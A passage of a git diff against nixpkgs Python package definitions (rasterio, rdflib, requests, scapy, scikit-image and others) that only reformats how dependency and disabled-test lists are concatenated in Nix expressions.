   build-system = [ setuptools ];
 
diff --git a/pkgs/development/python-modules/rasterio/default.nix b/pkgs/development/python-modules/rasterio/default.nix
index 9ed522c5a898..9d7273332481 100644
--- a/pkgs/development/python-modules/rasterio/default.nix
+++ b/pkgs/development/python-modules/rasterio/default.nix
@@ -97,7 +97,8 @@ buildPythonPackage rec {
     "test_warp"
     "test_warpedvrt"
     "test_rio_warp"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_reproject_error_propagation" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_reproject_error_propagation" ];
 
   pythonImportsCheck = [ "rasterio" ];
 
diff --git a/pkgs/development/python-modules/ratarmountcore/default.nix b/pkgs/development/python-modules/ratarmountcore/default.nix
index e8b732b62767..3d5ef3529f57 100644
--- a/pkgs/development/python-modules/ratarmountcore/default.nix
+++ b/pkgs/development/python-modules/ratarmountcore/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
     zstd
     fsspec
     writableTmpDirAsHomeHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "ratarmountcore" ];
 
diff --git a/pkgs/development/python-modules/raylib-python-cffi/passthru-tests.nix b/pkgs/development/python-modules/raylib-python-cffi/passthru-tests.nix
index 1dfa0a68d033..589f01641271 100644
--- a/pkgs/development/python-modules/raylib-python-cffi/passthru-tests.nix
+++ b/pkgs/development/python-modules/raylib-python-cffi/passthru-tests.nix
@@ -18,12 +18,10 @@ in
   cffi_binding =
     (writeTest "cffi_binding" "/tests/test_static_with_only_api_from_dynamic.py").overrideAttrs
       (prev: {
-        buildCommand =
-          prev.buildCommand
-          + ''
-            substituteInPlace $out/bin/cffi_binding \
-              --replace-fail "examples/models/resources/heightmap.png" \
-                "${src}/examples/models/resources/heightmap.png"
-          '';
+        buildCommand = prev.buildCommand + ''
+          substituteInPlace $out/bin/cffi_binding \
+            --replace-fail "examples/models/resources/heightmap.png" \
+              "${src}/examples/models/resources/heightmap.png"
+        '';
       });
 }
diff --git a/pkgs/development/python-modules/rchitect/default.nix b/pkgs/development/python-modules/rchitect/default.nix
index 2d992abd827a..6d3923c982da 100644
--- a/pkgs/development/python-modules/rchitect/default.nix
+++ b/pkgs/development/python-modules/rchitect/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     cffi
     six
     packaging
-  ] ++ (with rPackages; [ reticulate ]);
+  ]
+  ++ (with rPackages; [ reticulate ]);
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/rdflib/default.nix b/pkgs/development/python-modules/rdflib/default.nix
index 0759244e3293..dccd7b93fc8e 100644
--- a/pkgs/development/python-modules/rdflib/default.nix
+++ b/pkgs/development/python-modules/rdflib/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
 
   dependencies = [
     pyparsing
-  ] ++ lib.optionals (pythonOlder "3.11") [ isodate ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ isodate ];
 
   optional-dependencies = {
     html = [ html5lib ];
@@ -52,15 +53,14 @@ buildPythonPackage rec {
 
   __darwinAllowLocalNetworking = true;
 
-  nativeCheckInputs =
-    [
-      pip
-      pytest-cov-stub
-      pytestCheckHook
-      setuptools
-    ]
-    ++ optional-dependencies.networkx
-    ++ optional-dependencies.html;
+  nativeCheckInputs = [
+    pip
+    pytest-cov-stub
+    pytestCheckHook
+    setuptools
+  ]
+  ++ optional-dependencies.networkx
+  ++ optional-dependencies.html;
 
   pytestFlagsArray = [
     # requires network access
@@ -68,21 +68,20 @@ buildPythonPackage rec {
     "--deselect=test/jsonld/test_onedotone.py::test_suite"
   ];
 
-  disabledTests =
-    [
-      # Requires network access
-      "test_service"
-      "testGuessFormatForParse"
-      "test_infix_owl_example1"
-      "test_context"
-      "test_example"
-      "test_guess_format_for_parse"
-      "rdflib.extras.infixowl"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Require loopback network access
-      "TestGraphHTTP"
-    ];
+  disabledTests = [
+    # Requires network access
+    "test_service"
+    "testGuessFormatForParse"
+    "test_infix_owl_example1"
+    "test_context"
+    "test_example"
+    "test_guess_format_for_parse"
+    "rdflib.extras.infixowl"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Require loopback network access
+    "TestGraphHTTP"
+  ];
 
   pythonImportsCheck = [ "rdflib" ];
 
diff --git a/pkgs/development/python-modules/redis/default.nix b/pkgs/development/python-modules/redis/default.nix
index 835b6f1a3814..91be8ae3a1f6 100644
--- a/pkgs/development/python-modules/redis/default.nix
+++ b/pkgs/development/python-modules/redis/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
     deprecated
     packaging
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   optional-dependencies = {
     hiredis = [ hiredis ];
diff --git a/pkgs/development/python-modules/reikna/default.nix b/pkgs/development/python-modules/reikna/default.nix
index 6dee74d2b712..68f3d42b85ef 100644
--- a/pkgs/development/python-modules/reikna/default.nix
+++ b/pkgs/development/python-modules/reikna/default.nix
@@ -30,14 +30,13 @@ buildPythonPackage rec {
     pytest
   ];
 
-  propagatedBuildInputs =
-    [
-      mako
-      numpy
-      funcsigs
-    ]
-    ++ lib.optional withCuda pycuda
-    ++ lib.optional withOpenCL pyopencl;
+  propagatedBuildInputs = [
+    mako
+    numpy
+    funcsigs
+  ]
+  ++ lib.optional withCuda pycuda
+  ++ lib.optional withOpenCL pyopencl;
 
   checkPhase = ''
     py.test
diff --git a/pkgs/development/python-modules/rembg/default.nix b/pkgs/development/python-modules/rembg/default.nix
index aa58b0a7d56b..9e8a5554e3f0 100644
--- a/pkgs/development/python-modules/rembg/default.nix
+++ b/pkgs/development/python-modules/rembg/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     scikit-image
     scipy
     tqdm
-  ] ++ lib.optionals withCli optional-dependencies.cli;
+  ]
+  ++ lib.optionals withCli optional-dependencies.cli;
 
   optional-dependencies = {
     cli = [
diff --git a/pkgs/development/python-modules/remi/default.nix b/pkgs/development/python-modules/remi/default.nix
index b88ab282a6ad..1e55434b8f9d 100644
--- a/pkgs/development/python-modules/remi/default.nix
+++ b/pkgs/development/python-modules/remi/default.nix
@@ -45,13 +45,12 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      setuptools # pkg_resources is referenced at runtime
-    ]
-    ++ lib.optionals (!pythonOlder "3.13") [
-      legacy-cgi
-    ];
+  dependencies = [
+    setuptools # pkg_resources is referenced at runtime
+  ]
+  ++ lib.optionals (!pythonOlder "3.13") [
+    legacy-cgi
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/renault-api/default.nix b/pkgs/development/python-modules/renault-api/default.nix
index 52f913d23557..4905d54a6add 100644
--- a/pkgs/development/python-modules/renault-api/default.nix
+++ b/pkgs/development/python-modules/renault-api/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytestCheckHook
     syrupy
     typeguard
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "renault_api" ];
 
diff --git a/pkgs/development/python-modules/reproject/default.nix b/pkgs/development/python-modules/reproject/default.nix
index fb547247ba8a..ced27b5ebd1c 100644
--- a/pkgs/development/python-modules/reproject/default.nix
+++ b/pkgs/development/python-modules/reproject/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     numpy
     scipy
     zarr
-  ] ++ dask.optional-dependencies.array;
+  ]
+  ++ dask.optional-dependencies.array;
 
   nativeCheckInputs = [
     pytest-astropy
diff --git a/pkgs/development/python-modules/reptor/default.nix b/pkgs/development/python-modules/reptor/default.nix
index c6f86a1eb3ed..3ae72bb51f4f 100644
--- a/pkgs/development/python-modules/reptor/default.nix
+++ b/pkgs/development/python-modules/reptor/default.nix
@@ -75,7 +75,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/requests-cache/default.nix b/pkgs/development/python-modules/requests-cache/default.nix
index 0c95519aab62..d7489111c9f0 100644
--- a/pkgs/development/python-modules/requests-cache/default.nix
+++ b/pkgs/development/python-modules/requests-cache/default.nix
@@ -68,21 +68,20 @@ buildPythonPackage rec {
     yaml = [ pyyaml ];
   };
 
-  nativeCheckInputs =
-    [
-      psutil
-      pytestCheckHook
-      pytest-rerunfailures
-      pytest-xdist
-      requests-mock
-      responses
-      rich
-      tenacity
-      time-machine
-      timeout-decorator
-    ]
-    ++ optional-dependencies.json
-    ++ optional-dependencies.security;
+  nativeCheckInputs = [
+    psutil
+    pytestCheckHook
+    pytest-rerunfailures
+    pytest-xdist
+    requests-mock
+    responses
+    rich
+    tenacity
+    time-machine
+    timeout-decorator
+  ]
+  ++ optional-dependencies.json
+  ++ optional-dependencies.security;
 
   preCheck = ''
     export HOME=$(mktemp -d);
diff --git a/pkgs/development/python-modules/requests-kerberos/default.nix b/pkgs/development/python-modules/requests-kerberos/default.nix
index 70a5eebacdb5..5e5433ca09be 100644
--- a/pkgs/development/python-modules/requests-kerberos/default.nix
+++ b/pkgs/development/python-modules/requests-kerberos/default.nix
@@ -25,14 +25,13 @@ buildPythonPackage rec {
     hash = "sha256-s1Q3zqKPSuTkiFExr+axai9Eta1xjw/cip8xzfDGR88=";
   };
 
-  propagatedBuildInputs =
-    [
-      cryptography
-      requests
-      pyspnego
-    ]
-    # Avoid broken Python krb5 package on Darwin
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) pyspnego.optional-dependencies.kerberos;
+  propagatedBuildInputs = [
+    cryptography
+    requests
+    pyspnego
+  ]
+  # Avoid broken Python krb5 package on Darwin
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) pyspnego.optional-dependencies.kerberos;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/requests/default.nix b/pkgs/development/python-modules/requests/default.nix
index 99187427d880..93169088bfb7 100644
--- a/pkgs/development/python-modules/requests/default.nix
+++ b/pkgs/development/python-modules/requests/default.nix
@@ -55,29 +55,29 @@ buildPythonPackage rec {
     pytest-mock
     pytest-xdist
     pytestCheckHook
-  ] ++ optional-dependencies.socks;
+  ]
+  ++ optional-dependencies.socks;
 
-  disabledTests =
-    [
-      # Disable tests that require network access and use httpbin
-      "requests.api.request"
-      "requests.models.PreparedRequest"
-      "requests.sessions.Session"
-      "requests"
-      "test_redirecting_to_bad_url"
-      "test_requests_are_updated_each_time"
-      "test_should_bypass_proxies_pass_only_hostname"
-      "test_urllib3_pool_connection_closed"
-      "test_urllib3_retries"
-      "test_use_proxy_from_environment"
-      "TestRequests"
-      "TestTimeout"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Fatal Python error: Aborted
-      "test_basic_response"
-      "test_text_response"
-    ];
+  disabledTests = [
+    # Disable tests that require network access and use httpbin
+    "requests.api.request"
+    "requests.models.PreparedRequest"
+    "requests.sessions.Session"
+    "requests"
+    "test_redirecting_to_bad_url"
+    "test_requests_are_updated_each_time"
+    "test_should_bypass_proxies_pass_only_hostname"
+    "test_urllib3_pool_connection_closed"
+    "test_urllib3_retries"
+    "test_use_proxy_from_environment"
+    "TestRequests"
+    "TestTimeout"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Fatal Python error: Aborted
+    "test_basic_response"
+    "test_text_response"
+  ];
 
   disabledTestPaths = lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
     # Fatal Python error: Aborted
diff --git a/pkgs/development/python-modules/resampy/default.nix b/pkgs/development/python-modules/resampy/default.nix
index f6ac5014be4a..7618de98f446 100644
--- a/pkgs/development/python-modules/resampy/default.nix
+++ b/pkgs/development/python-modules/resampy/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     scipy
-  ] ++ optional-dependencies.design;
+  ]
+  ++ optional-dependencies.design;
 
   disabledTests = lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
     # crashing the interpreter
diff --git a/pkgs/development/python-modules/responses/default.nix b/pkgs/development/python-modules/responses/default.nix
index 1a2db047b7a4..0be4636263c9 100644
--- a/pkgs/development/python-modules/responses/default.nix
+++ b/pkgs/development/python-modules/responses/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pytest-httpserver
     pytestCheckHook
     tomli-w
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [ "responses" ];
 
diff --git a/pkgs/development/python-modules/rich/default.nix b/pkgs/development/python-modules/rich/default.nix
index e0c594822a0b..6e381290a19a 100644
--- a/pkgs/development/python-modules/rich/default.nix
+++ b/pkgs/development/python-modules/rich/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
   dependencies = [
     markdown-it-py
     pygments
-  ] ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
 
   optional-dependencies = {
     jupyter = [ ipywidgets ];
diff --git a/pkgs/development/python-modules/rioxarray/default.nix b/pkgs/development/python-modules/rioxarray/default.nix
index e7e761cd78eb..3aca60897592 100644
--- a/pkgs/development/python-modules/rioxarray/default.nix
+++ b/pkgs/development/python-modules/rioxarray/default.nix
@@ -48,21 +48,20 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # AssertionError: assert 535727386 == 535691205
-      "test_clip_geojson__no_drop"
-      # Fails with GDAL 3.11 warning
-      "test_rasterio_vrt"
-      # Fails with small numerical errors on GDAL 3.11
-      "test_rasterio_vrt_gcps"
-      "test_reproject__gcps"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # numerical errors
-      "test_clip_geojson"
-      "test_open_rasterio_mask_chunk_clip"
-    ];
+  disabledTests = [
+    # AssertionError: assert 535727386 == 535691205
+    "test_clip_geojson__no_drop"
+    # Fails with GDAL 3.11 warning
+    "test_rasterio_vrt"
+    # Fails with small numerical errors on GDAL 3.11
+    "test_rasterio_vrt_gcps"
+    "test_reproject__gcps"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # numerical errors
+    "test_clip_geojson"
+    "test_open_rasterio_mask_chunk_clip"
+  ];
 
   pythonImportsCheck = [ "rioxarray" ];
 
diff --git a/pkgs/development/python-modules/rope/default.nix b/pkgs/development/python-modules/rope/default.nix
index 27ac5a2c32c2..3160937441d4 100644
--- a/pkgs/development/python-modules/rope/default.nix
+++ b/pkgs/development/python-modules/rope/default.nix
@@ -35,18 +35,17 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      "test_search_submodule"
-      "test_get_package_source_pytest"
-      "test_get_modname_folder"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/python-rope/rope/issues/801
-      "test_skipping_directories_not_accessible_because_of_permission_error"
-      "test_hint_parametrized_iterable"
-      "test_hint_parametrized_iterator"
-    ];
+  disabledTests = [
+    "test_search_submodule"
+    "test_get_package_source_pytest"
+    "test_get_modname_folder"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/python-rope/rope/issues/801
+    "test_skipping_directories_not_accessible_because_of_permission_error"
+    "test_hint_parametrized_iterable"
+    "test_hint_parametrized_iterator"
+  ];
 
   meta = with lib; {
     description = "Python refactoring library";
diff --git a/pkgs/development/python-modules/rpy2/default.nix b/pkgs/development/python-modules/rpy2/default.nix
index d97bcc995a6d..fb207203f41c 100644
--- a/pkgs/development/python-modules/rpy2/default.nix
+++ b/pkgs/development/python-modules/rpy2/default.nix
@@ -47,30 +47,29 @@ buildPythonPackage rec {
     substituteInPlace 'requirements.txt' --replace 'pytest' ""
   '';
 
-  buildInputs =
-    [
-      pcre
-      xz
-      bzip2
-      zlib
-      icu
-      libdeflate
-    ]
-    ++ (with rPackages; [
-      # packages expected by the test framework
-      ggplot2
-      dplyr
-      RSQLite
-      broom
-      DBI
-      dbplyr
-      hexbin
-      lazyeval
-      lme4
-      tidyr
-    ])
-    ++ extraRPackages
-    ++ rWrapper.recommendedPackages;
+  buildInputs = [
+    pcre
+    xz
+    bzip2
+    zlib
+    icu
+    libdeflate
+  ]
+  ++ (with rPackages; [
+    # packages expected by the test framework
+    ggplot2
+    dplyr
+    RSQLite
+    broom
+    DBI
+    dbplyr
+    hexbin
+    lazyeval
+    lme4
+    tidyr
+  ])
+  ++ extraRPackages
+  ++ rWrapper.recommendedPackages;
 
   nativeBuildInputs = [
     R # needed at setup time to detect R_HOME (alternatively set R_HOME explicitly)
diff --git a/pkgs/development/python-modules/rstcheck-core/default.nix b/pkgs/development/python-modules/rstcheck-core/default.nix
index 574fee0b5ed1..ad9415963441 100644
--- a/pkgs/development/python-modules/rstcheck-core/default.nix
+++ b/pkgs/development/python-modules/rstcheck-core/default.nix
@@ -38,15 +38,14 @@ buildPythonPackage rec {
     NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-strict-prototypes";
   };
 
-  dependencies =
-    [
-      docutils
-      pydantic
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [
-      importlib-metadata
-      typing-extensions
-    ];
+  dependencies = [
+    docutils
+    pydantic
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [
+    importlib-metadata
+    typing-extensions
+  ];
 
   nativeCheckInputs = [
     mock
diff --git a/pkgs/development/python-modules/s3transfer/default.nix b/pkgs/development/python-modules/s3transfer/default.nix
index dcf80fc53d4e..396527ac2bc3 100644
--- a/pkgs/development/python-modules/s3transfer/default.nix
+++ b/pkgs/development/python-modules/s3transfer/default.nix
@@ -35,12 +35,11 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTestPaths =
-    [
-      # Requires network access
-      "tests/integration"
-    ]
-    ++
+  disabledTestPaths = [
+    # Requires network access
+    "tests/integration"
+  ]
+  ++
     # There was a change in python 3.8 that defaults multiprocessing to spawn instead of fork on macOS
     # See https://bugs.python.org/issue33725 and https://github.com/python/cpython/pull/13603.
     # I suspect the underlying issue here is that upstream tests aren't compatible with spawn multiprocessing, and pass on linux where the default is still fork
diff --git a/pkgs/development/python-modules/safetensors/default.nix b/pkgs/development/python-modules/safetensors/default.nix
index e82879ccf563..214e5d95e9f2 100644
--- a/pkgs/development/python-modules/safetensors/default.nix
+++ b/pkgs/development/python-modules/safetensors/default.nix
@@ -89,16 +89,15 @@ buildPythonPackage rec {
   ];
   pytestFlagsArray = [ "tests" ];
   # don't require PaddlePaddle (not in Nixpkgs), Flax, or Tensorflow (onerous) to run tests:
-  disabledTestPaths =
-    [
-      "tests/test_flax_comparison.py"
-      "tests/test_paddle_comparison.py"
-      "tests/test_tf_comparison.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # don't require mlx (not in Nixpkgs) to run tests
-      "tests/test_mlx_comparison.py"
-    ];
+  disabledTestPaths = [
+    "tests/test_flax_comparison.py"
+    "tests/test_paddle_comparison.py"
+    "tests/test_tf_comparison.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # don't require mlx (not in Nixpkgs) to run tests
+    "tests/test_mlx_comparison.py"
+  ];
 
   pythonImportsCheck = [ "safetensors" ];
 
diff --git a/pkgs/development/python-modules/sagemaker-core/default.nix b/pkgs/development/python-modules/sagemaker-core/default.nix
index 0a15f5b918aa..cd172e489d0c 100644
--- a/pkgs/development/python-modules/sagemaker-core/default.nix
+++ b/pkgs/development/python-modules/sagemaker-core/default.nix
@@ -75,7 +75,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTestPaths = [
     # Tries to import deprecated `sklearn`
diff --git a/pkgs/development/python-modules/samsungtvws/default.nix b/pkgs/development/python-modules/samsungtvws/default.nix
index aac1c72487b5..5fa6bff8ccd7 100644
--- a/pkgs/development/python-modules/samsungtvws/default.nix
+++ b/pkgs/development/python-modules/samsungtvws/default.nix
@@ -51,14 +51,13 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      aioresponses
-      pytest-asyncio
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.async
-    ++ optional-dependencies.encrypted;
+  nativeCheckInputs = [
+    aioresponses
+    pytest-asyncio
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.async
+  ++ optional-dependencies.encrypted;
 
   pythonImportsCheck = [ "samsungtvws" ];
 
diff --git a/pkgs/development/python-modules/sanic/default.nix b/pkgs/development/python-modules/sanic/default.nix
index b794cd283159..53c954432753 100644
--- a/pkgs/development/python-modules/sanic/default.nix
+++ b/pkgs/development/python-modules/sanic/default.nix
@@ -71,7 +71,8 @@ buildPythonPackage rec {
     pytestCheckHook
     sanic-testing
     uvicorn
-  ] ++ optional-dependencies.http3;
+  ]
+  ++ optional-dependencies.http3;
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/development/python-modules/scalene/default.nix b/pkgs/development/python-modules/scalene/default.nix
index a1614f424c48..b33764932a98 100644
--- a/pkgs/development/python-modules/scalene/default.nix
+++ b/pkgs/development/python-modules/scalene/default.nix
@@ -75,11 +75,13 @@ buildPythonPackage rec {
     psutil
     pydantic
     rich
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ nvidia-ml-py ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ nvidia-ml-py ];
 
   pythonRemoveDeps = [
     "nvidia-ml-py3"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "nvidia-ml-py" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "nvidia-ml-py" ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/scancode-toolkit/default.nix b/pkgs/development/python-modules/scancode-toolkit/default.nix
index c40e980c68fc..f00ce3d0e836 100644
--- a/pkgs/development/python-modules/scancode-toolkit/default.nix
+++ b/pkgs/development/python-modules/scancode-toolkit/default.nix
@@ -127,7 +127,8 @@ buildPythonPackage rec {
     typecode-libmagic
     urlpy
     xmltodict
-  ] ++ lib.optionals (pythonOlder "3.9") [ zipp ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ zipp ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/scapy/default.nix b/pkgs/development/python-modules/scapy/default.nix
index f1d41aa69c71..e84a136c3506 100644
--- a/pkgs/development/python-modules/scapy/default.nix
+++ b/pkgs/development/python-modules/scapy/default.nix
@@ -46,41 +46,39 @@ buildPythonPackage rec {
 
   patches = [ ./find-library.patch ];
 
-  postPatch =
-    ''
-      printf "${version}" > scapy/VERSION
+  postPatch = ''
+    printf "${version}" > scapy/VERSION
 
-      libpcap_file="${lib.getLib libpcap}/lib/libpcap${stdenv.hostPlatform.extensions.sharedLibrary}"
-      if ! [ -e "$libpcap_file" ]; then
-          echo "error: $libpcap_file not found" >&2
-          exit 1
-      fi
-      substituteInPlace "scapy/libs/winpcapy.py" \
-          --replace "@libpcap_file@" "$libpcap_file"
-    ''
-    + lib.optionalString withManufDb ''
-      substituteInPlace scapy/data.py --replace "/opt/wireshark" "${wireshark}"
-    '';
+    libpcap_file="${lib.getLib libpcap}/lib/libpcap${stdenv.hostPlatform.extensions.sharedLibrary}"
+    if ! [ -e "$libpcap_file" ]; then
+        echo "error: $libpcap_file not found" >&2
+        exit 1
+    fi
+    substituteInPlace "scapy/libs/winpcapy.py" \
+        --replace "@libpcap_file@" "$libpcap_file"
+  ''
+  + lib.optionalString withManufDb ''
+    substituteInPlace scapy/data.py --replace "/opt/wireshark" "${wireshark}"
+  '';
 
   buildInputs = lib.optional withVoipSupport sox;
 
-  propagatedBuildInputs =
-    [
-      pycrypto
-      ecdsa
-    ]
-    ++ lib.optionals withOptionalDeps [
-      tcpdump
-      ipython
-    ]
-    ++ lib.optional withCryptography cryptography
-    ++ lib.optional withPlottingSupport matplotlib
-    ++ lib.optionals withGraphicsSupport [
-      pyx
-      texliveBasic
-      graphviz
-      imagemagick
-    ];
+  propagatedBuildInputs = [
+    pycrypto
+    ecdsa
+  ]
+  ++ lib.optionals withOptionalDeps [
+    tcpdump
+    ipython
+  ]
+  ++ lib.optional withCryptography cryptography
+  ++ lib.optional withPlottingSupport matplotlib
+  ++ lib.optionals withGraphicsSupport [
+    pyx
+    texliveBasic
+    graphviz
+    imagemagick
+  ];
 
   # Running the tests seems too complicated:
   doCheck = false;
diff --git a/pkgs/development/python-modules/schema-salad/default.nix b/pkgs/development/python-modules/schema-salad/default.nix
index f6880a8a64f5..d789e0891f6a 100644
--- a/pkgs/development/python-modules/schema-salad/default.nix
+++ b/pkgs/development/python-modules/schema-salad/default.nix
@@ -43,21 +43,20 @@ buildPythonPackage rec {
 
   build-system = [ setuptools-scm ];
 
-  dependencies =
-    [
-      cachecontrol
-      mistune
-      mypy
-      mypy-extensions
-      rdflib
-      requests
-      ruamel-yaml
-      types-dataclasses
-      types-requests
-      types-setuptools
-    ]
-    ++ cachecontrol.optional-dependencies.filecache
-    ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  dependencies = [
+    cachecontrol
+    mistune
+    mypy
+    mypy-extensions
+    rdflib
+    requests
+    ruamel-yaml
+    types-dataclasses
+    types-requests
+    types-setuptools
+  ]
+  ++ cachecontrol.optional-dependencies.filecache
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [ pytestCheckHook ] ++ optional-dependencies.pycodegen;
 
diff --git a/pkgs/development/python-modules/schwifty/default.nix b/pkgs/development/python-modules/schwifty/default.nix
index 815e8903b73c..4e6af1b70fba 100644
--- a/pkgs/development/python-modules/schwifty/default.nix
+++ b/pkgs/development/python-modules/schwifty/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     iso3166
     pycountry
     rstr
-  ] ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.12") [ importlib-resources ];
 
   optional-dependencies = {
     pydantic = [ pydantic ];
@@ -50,7 +51,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "schwifty" ];
 
diff --git a/pkgs/development/python-modules/scikit-build-core/default.nix b/pkgs/development/python-modules/scikit-build-core/default.nix
index 20d0aee54229..954d7152f7a2 100644
--- a/pkgs/development/python-modules/scikit-build-core/default.nix
+++ b/pkgs/development/python-modules/scikit-build-core/default.nix
@@ -50,15 +50,14 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      packaging
-      pathspec
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      exceptiongroup
-      tomli
-    ];
+  dependencies = [
+    packaging
+    pathspec
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    exceptiongroup
+    tomli
+  ];
 
   nativeCheckInputs = [
     build
diff --git a/pkgs/development/python-modules/scikit-build/default.nix b/pkgs/development/python-modules/scikit-build/default.nix
index 9a3501a71957..6e6016c38fc5 100644
--- a/pkgs/development/python-modules/scikit-build/default.nix
+++ b/pkgs/development/python-modules/scikit-build/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
     packaging
     setuptools
     wheel
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [
     cmake
diff --git a/pkgs/development/python-modules/scikit-hep-testdata/default.nix b/pkgs/development/python-modules/scikit-hep-testdata/default.nix
index 6f0d26e69d48..05c443811252 100644
--- a/pkgs/development/python-modules/scikit-hep-testdata/default.nix
+++ b/pkgs/development/python-modules/scikit-hep-testdata/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
   dependencies = [
     pyyaml
     requests
-  ] ++ lib.optionals (!pythonAtLeast "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (!pythonAtLeast "3.9") [ importlib-resources ];
 
   SKHEP_DATA = 1; # install the actual root files
 
diff --git a/pkgs/development/python-modules/scikit-image/default.nix b/pkgs/development/python-modules/scikit-image/default.nix
index d5439693c4fc..1272f89ef1f5 100644
--- a/pkgs/development/python-modules/scikit-image/default.nix
+++ b/pkgs/development/python-modules/scikit-image/default.nix
@@ -85,7 +85,8 @@ let
         pyamg
         scikit-learn
         simpleitk
-      ] ++ dask.optional-dependencies.array;
+      ]
+      ++ dask.optional-dependencies.array;
     };
 
     # test suite is very cpu intensive, move to passthru.tests
@@ -108,33 +109,32 @@ let
       # Requires network access (actually some data is loaded via `skimage._shared.testing.fetch` in the global scope, which calls `pytest.skip` when a network is unaccessible, leading to a pytest collection error).
       "${installedPackageRoot}/skimage/filters/rank/tests/test_rank.py"
     ];
-    pytestFlagsArray =
